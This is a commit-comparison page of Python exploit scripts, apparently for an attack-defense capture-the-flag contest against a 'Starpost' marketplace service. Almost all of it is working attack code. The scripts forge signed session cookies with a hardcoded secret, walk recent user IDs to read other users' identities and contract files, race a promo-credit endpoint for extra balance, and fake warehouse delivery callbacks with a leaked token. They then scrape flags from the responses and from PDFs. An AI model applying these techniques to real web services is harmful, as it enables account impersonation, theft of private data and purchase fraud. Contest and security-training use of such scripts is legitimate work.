Compare commits
8
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
98ad0ae2de | ||
|
|
e06fd3d9ed | ||
|
|
b72544209c | ||
|
|
ecd6d55523 | ||
|
|
ef120ca5a5 | ||
|
|
7e96966188 | ||
|
|
dca8f2a827 | ||
|
|
9f25b29140 |
No files matched your search
+62
-16
@@ -7,6 +7,7 @@ import concurrent.futures
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
@@ -17,10 +18,12 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
TOTAL_TIMEOUT = 8.0
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
RECENT_USER_WINDOW = 32
|
||||
MAX_WORKERS = 8
|
||||
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
||||
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
@@ -64,7 +67,14 @@ def forge_session(user_id: int, role: str) -> str:
|
||||
return (value + b"." + b64(signature)).decode()
|
||||
|
||||
|
||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None):
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
method: str = "GET",
|
||||
payload=None,
|
||||
cookie: str | None = None,
|
||||
timeout: float = REQUEST_TIMEOUT,
|
||||
):
|
||||
body = json.dumps(payload).encode() if payload is not None else None
|
||||
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
||||
if body is not None:
|
||||
@@ -74,33 +84,50 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
||||
with opener.open(req, timeout=timeout) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data
|
||||
except HTTPError as exc:
|
||||
return exc.code, exc.read(MAX_RESPONSE)
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return exc.code, data
|
||||
|
||||
|
||||
def register_probe(base: str) -> int:
|
||||
def register_probe(base: str, deadline: float) -> int:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("overall deadline exceeded")
|
||||
marker = secrets.token_hex(8)
|
||||
status, raw = request(
|
||||
base,
|
||||
"/api/register",
|
||||
method="POST",
|
||||
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
timeout=min(REQUEST_TIMEOUT, remaining),
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
return int(json.loads(raw)["id"])
|
||||
|
||||
|
||||
def collect_identity(base: str, user_id: int) -> list[bytes]:
|
||||
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
||||
def fetch(path: str, cookie: str):
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
return None
|
||||
try:
|
||||
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
return None
|
||||
|
||||
probe_cookie = forge_session(user_id, "seller")
|
||||
status, raw = request(base, "/api/me", cookie=probe_cookie)
|
||||
if status != 200:
|
||||
response = fetch("/api/me", probe_cookie)
|
||||
if response is None or response[0] != 200:
|
||||
return []
|
||||
_, raw = response
|
||||
try:
|
||||
identity = json.loads(raw)
|
||||
except (TypeError, ValueError):
|
||||
@@ -116,9 +143,12 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
|
||||
contract_file = identity.get("contract_file")
|
||||
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||
output = []
|
||||
output = [raw]
|
||||
for path in paths:
|
||||
status, data = request(base, path, cookie=cookie)
|
||||
response = fetch(path, cookie)
|
||||
if response is None:
|
||||
continue
|
||||
status, data = response
|
||||
if status == 200 and data:
|
||||
output.append(data)
|
||||
return output
|
||||
@@ -126,14 +156,29 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
base = build_base_url(target)
|
||||
newest = register_probe(base)
|
||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
||||
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||
newest = register_probe(base, deadline)
|
||||
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
|
||||
chunks: list[bytes] = []
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids):
|
||||
chunks.extend(result)
|
||||
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr)
|
||||
return b"\n".join(chunks).decode("utf-8", errors="replace")
|
||||
futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids]
|
||||
try:
|
||||
for future in concurrent.futures.as_completed(
|
||||
futures,
|
||||
timeout=max(0.001, deadline - time.monotonic()),
|
||||
):
|
||||
try:
|
||||
chunks.extend(future.result())
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
continue
|
||||
except TimeoutError:
|
||||
pass
|
||||
finally:
|
||||
for future in futures:
|
||||
future.cancel()
|
||||
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
|
||||
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr)
|
||||
return b"\n".join(flags).decode("ascii")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
@@ -145,7 +190,8 @@ def main() -> int:
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(output, flush=True)
|
||||
if output:
|
||||
print(output, flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
@@ -72,13 +72,17 @@ def request(
|
||||
opener = build_opener(NoRedirects())
|
||||
last_error: OSError | URLError | None = None
|
||||
for _ in range(attempts):
|
||||
if time.monotonic() >= deadline:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
try:
|
||||
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
|
||||
with opener.open(req, timeout=min(CONNECT_TIMEOUT, remaining)) as response:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
try:
|
||||
response.fp.raw._sock.settimeout(READ_TIMEOUT)
|
||||
except AttributeError:
|
||||
response.fp.raw._sock.settimeout(min(READ_TIMEOUT, remaining))
|
||||
except (AttributeError, OSError):
|
||||
pass
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
@@ -116,13 +120,84 @@ def register(target: str, deadline: float) -> tuple[int, str]:
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
data = json.loads(body)
|
||||
if not isinstance(data, dict) or "id" not in data or isinstance(data["id"], bool):
|
||||
raise ValueError("registration returned an invalid user id")
|
||||
try:
|
||||
user_id = int(data["id"])
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ValueError("registration returned an invalid user id") from exc
|
||||
if user_id < 1:
|
||||
raise ValueError("registration returned an invalid user id")
|
||||
cookies = SimpleCookie()
|
||||
for name, value in headers:
|
||||
if name.lower() == "set-cookie":
|
||||
cookies.load(value)
|
||||
if "session" not in cookies:
|
||||
raise ValueError("registration did not return a session")
|
||||
return int(data["id"]), cookies["session"].value
|
||||
return user_id, cookies["session"].value
|
||||
|
||||
|
||||
def pdf_literal_strings(document: bytes) -> list[bytes]:
|
||||
strings: list[bytes] = []
|
||||
size = len(document)
|
||||
offset = 0
|
||||
escapes = {
|
||||
ord("n"): ord("\n"),
|
||||
ord("r"): ord("\r"),
|
||||
ord("t"): ord("\t"),
|
||||
ord("b"): ord("\b"),
|
||||
ord("f"): ord("\f"),
|
||||
}
|
||||
while offset < size:
|
||||
start = document.find(b"(", offset)
|
||||
if start < 0:
|
||||
break
|
||||
offset = start + 1
|
||||
depth = 1
|
||||
value = bytearray()
|
||||
while offset < size and depth:
|
||||
current = document[offset]
|
||||
if current == ord("\\"):
|
||||
offset += 1
|
||||
if offset >= size:
|
||||
break
|
||||
escaped = document[offset]
|
||||
if escaped in (ord("\r"), ord("\n")):
|
||||
if escaped == ord("\r") and offset + 1 < size and document[offset + 1] == ord("\n"):
|
||||
offset += 1
|
||||
offset += 1
|
||||
continue
|
||||
if ord("0") <= escaped <= ord("7"):
|
||||
end = offset + 1
|
||||
while end < size and end < offset + 3 and ord("0") <= document[end] <= ord("7"):
|
||||
end += 1
|
||||
value.append(int(document[offset:end], 8) & 0xFF)
|
||||
offset = end
|
||||
continue
|
||||
value.append(escapes.get(escaped, escaped))
|
||||
elif current == ord("("):
|
||||
depth += 1
|
||||
value.append(current)
|
||||
elif current == ord(")"):
|
||||
depth -= 1
|
||||
if depth:
|
||||
value.append(current)
|
||||
else:
|
||||
value.append(current)
|
||||
offset += 1
|
||||
if depth == 0:
|
||||
strings.append(bytes(value))
|
||||
return strings
|
||||
|
||||
|
||||
def extract_flags(document: bytes) -> set[bytes]:
|
||||
fragments = pdf_literal_strings(document)
|
||||
flags = set(FLAG_PATTERN.findall(document))
|
||||
for fragment in fragments:
|
||||
flags.update(FLAG_PATTERN.findall(fragment))
|
||||
for left, right in zip(fragments, fragments[1:]):
|
||||
flags.update(FLAG_PATTERN.findall(left[-31:] + right[:31]))
|
||||
return flags
|
||||
|
||||
|
||||
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
||||
@@ -136,25 +211,31 @@ def collect_contract(target: str, user_id: int, cookie: str, deadline: float) ->
|
||||
)
|
||||
except (OSError, TimeoutError, URLError, ValueError):
|
||||
return set(), True
|
||||
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
|
||||
return (extract_flags(body) if status == 200 else set()), False
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
newest, cookie = register(target, deadline)
|
||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
||||
flags: set[bytes] = set()
|
||||
oldest = max(1, newest - RECENT_USER_WINDOW)
|
||||
user_ids = range(newest - 1, oldest - 1, -1)
|
||||
flags: set[str] = set()
|
||||
errors = 0
|
||||
checked = 0
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
found, failed = future.result()
|
||||
flags.update(found)
|
||||
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||
if candidate in flags:
|
||||
continue
|
||||
flags.add(candidate)
|
||||
if emit is not None:
|
||||
emit(candidate)
|
||||
errors += int(failed)
|
||||
checked += 1
|
||||
return sorted(flag.decode("ascii") for flag in flags), checked, errors
|
||||
return sorted(flags), checked, errors
|
||||
|
||||
|
||||
def main() -> int:
|
||||
@@ -162,13 +243,11 @@ def main() -> int:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
flags, checked, errors = run_exploit(sys.argv[1])
|
||||
flags, checked, errors = run_exploit(sys.argv[1], lambda candidate: print(candidate, flush=True))
|
||||
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
Executable
+253
@@ -0,0 +1,253 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Buy recent affordable Starpost cargo and read it after warehouse delivery.
|
||||
|
||||
Neo passes one target address. Only event-format flags are written to stdout.
|
||||
This script uses public registration and the buyer's own promo; it needs no
|
||||
service secret, warehouse token, or Skipper credential.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 8.5
|
||||
REQUEST_TIMEOUT = 1.2
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_BUYS = 2
|
||||
MAX_BUY_ATTEMPTS = 3
|
||||
MAX_ORDER_POLLS = 5
|
||||
POLL_INTERVAL = 0.3
|
||||
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
# In particular, do not follow a redirect to an unrelated host or use a
|
||||
# workstation HTTP proxy instead of the contest VPN route.
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-market/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie is not None:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(target + path, data=body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
cookies = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
cookies.load(header)
|
||||
session = cookies["session"].value if "session" in cookies else None
|
||||
try:
|
||||
data = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, data, session
|
||||
|
||||
|
||||
def scan_flags(value: object) -> set[str]:
|
||||
# Only a delivered order's cargo is read here; avoid printing whole JSON.
|
||||
return set(FLAG_PATTERN.findall(value)) if isinstance(value, str) else set()
|
||||
|
||||
|
||||
def candidates(products: object) -> list[tuple[int, int]]:
|
||||
if not isinstance(products, list):
|
||||
raise ValueError("products response is not a list")
|
||||
found = []
|
||||
seen = set()
|
||||
for product in products:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
product_id, price = product.get("id"), product.get("price")
|
||||
if (
|
||||
isinstance(product_id, int)
|
||||
and not isinstance(product_id, bool)
|
||||
and product_id > 0
|
||||
and isinstance(price, int)
|
||||
and not isinstance(price, bool)
|
||||
and 0 < price <= 200
|
||||
and product_id not in seen
|
||||
):
|
||||
found.append((product_id, price))
|
||||
seen.add(product_id)
|
||||
return found
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"catalog returned HTTP {status}")
|
||||
available = candidates(products)
|
||||
if not available:
|
||||
return [], 0, 0
|
||||
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
budget = user["balance"]
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
budget += credited
|
||||
|
||||
bought_ids: set[int] = set()
|
||||
buy_attempts = 0
|
||||
for product_id, price in available:
|
||||
if len(bought_ids) >= MAX_BUYS or buy_attempts >= MAX_BUY_ATTEMPTS or time.monotonic() >= deadline:
|
||||
break
|
||||
if price > budget:
|
||||
continue
|
||||
buy_attempts += 1
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 201 or not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
if isinstance(order_id, int) and not isinstance(order_id, bool) and order_id > 0:
|
||||
bought_ids.add(order_id)
|
||||
budget -= price
|
||||
|
||||
flags: set[str] = set()
|
||||
polls = 0
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if not bought_ids or time.monotonic() >= deadline:
|
||||
break
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
polls += 1
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
break
|
||||
delivered = set()
|
||||
for order in orders:
|
||||
if not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
if not isinstance(order_id, int) or order_id not in bought_ids:
|
||||
continue
|
||||
if order.get("status") == "delivered":
|
||||
delivered.add(order_id)
|
||||
flags.update(scan_flags(order.get("cargo")))
|
||||
if delivered == bought_ids:
|
||||
break
|
||||
return sorted(flags), len(bought_ids), polls
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
# A slow-drip HTTP response can keep an individual socket read alive past
|
||||
# its timeout. Neo runs this as a Linux child process; bound the whole run.
|
||||
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||
try:
|
||||
flags, bought, polls = run_exploit(sys.argv[1])
|
||||
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous_handler)
|
||||
print(f"bought={bought} order_polls={polls} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -5,8 +5,10 @@ from __future__ import annotations
|
||||
import concurrent.futures
|
||||
import json
|
||||
import math
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
@@ -14,11 +16,14 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
MAX_PRODUCTS = 8
|
||||
MAX_CREDITS = 100
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
TOTAL_TIMEOUT = 8.5
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRODUCTS = 5
|
||||
MAX_CREDITS = 24
|
||||
MAX_WORKERS = 8
|
||||
GET_RETRIES = 1
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
||||
|
||||
|
||||
@@ -46,7 +51,15 @@ def build_base_url(target: str) -> str:
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
method: str = "GET",
|
||||
payload=None,
|
||||
cookie: str | None = None,
|
||||
warehouse=False,
|
||||
deadline: float | None = None,
|
||||
):
|
||||
body = json.dumps(payload).encode() if payload is not None else None
|
||||
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
||||
if body is not None:
|
||||
@@ -55,25 +68,40 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
if warehouse:
|
||||
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
attempts = GET_RETRIES + 1 if method == "GET" else 1
|
||||
for attempt in range(attempts):
|
||||
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("overall deadline exceeded")
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data, response.headers
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data, response.headers
|
||||
except HTTPError as exc:
|
||||
return exc.code, exc.read(MAX_RESPONSE), exc.headers
|
||||
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
|
||||
continue
|
||||
return exc.code, data, exc.headers
|
||||
except (URLError, TimeoutError, OSError):
|
||||
if attempt + 1 >= attempts:
|
||||
raise
|
||||
raise TimeoutError("request attempts exhausted")
|
||||
|
||||
|
||||
def register_buyer(base: str) -> str:
|
||||
def register_buyer(base: str, deadline: float) -> str:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, headers = request(
|
||||
base,
|
||||
"/api/register",
|
||||
method="POST",
|
||||
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
deadline=deadline,
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
@@ -84,34 +112,57 @@ def register_buyer(base: str) -> str:
|
||||
return jar["session"].value
|
||||
|
||||
|
||||
def credit(base: str, cookie: str, code: str) -> bool:
|
||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
|
||||
def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
|
||||
return status == 200
|
||||
|
||||
|
||||
def buy(base: str, cookie: str, product_id: int):
|
||||
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
|
||||
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
"/api/cart",
|
||||
method="POST",
|
||||
payload={"product_id": product_id},
|
||||
cookie=cookie,
|
||||
deadline=deadline,
|
||||
)
|
||||
return status == 201
|
||||
|
||||
|
||||
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
|
||||
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
|
||||
if status != 201:
|
||||
return None
|
||||
return []
|
||||
data = json.loads(raw)
|
||||
return int(data["id"])
|
||||
orders = data.get("orders") if isinstance(data, dict) else None
|
||||
if not isinstance(orders, list):
|
||||
return []
|
||||
order_ids = []
|
||||
for order in orders:
|
||||
try:
|
||||
order_ids.append(int(order["id"]))
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
return order_ids
|
||||
|
||||
|
||||
def deliver(base: str, order_id: int) -> bool:
|
||||
def deliver(base: str, order_id: int, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
"/api/warehouse/callback",
|
||||
method="POST",
|
||||
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
||||
warehouse=True,
|
||||
deadline=deadline,
|
||||
)
|
||||
return status == 200
|
||||
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||
base = build_base_url(target)
|
||||
cookie = register_buyer(base)
|
||||
status, raw, _ = request(base, "/api/account", cookie=cookie)
|
||||
cookie = register_buyer(base, deadline)
|
||||
status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||
account = json.loads(raw)
|
||||
@@ -119,7 +170,7 @@ def run_exploit(target: str) -> str:
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("promo code missing")
|
||||
|
||||
status, raw, _ = request(base, "/api/products")
|
||||
status, raw, _ = request(base, "/api/products", deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||
products = json.loads(raw)
|
||||
@@ -143,26 +194,27 @@ def run_exploit(target: str) -> str:
|
||||
|
||||
required_credits = max(0, math.ceil((total - 100) / 100))
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
|
||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"], deadline), range(required_credits)))
|
||||
if credited != required_credits:
|
||||
raise ValueError("promo crediting was incomplete")
|
||||
|
||||
order_ids = []
|
||||
for product_id in selected:
|
||||
order_id = buy(base, cookie, product_id)
|
||||
if order_id is not None:
|
||||
order_ids.append(order_id)
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
|
||||
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
|
||||
if added == 0:
|
||||
return ""
|
||||
order_ids = checkout(base, cookie, deadline)
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
|
||||
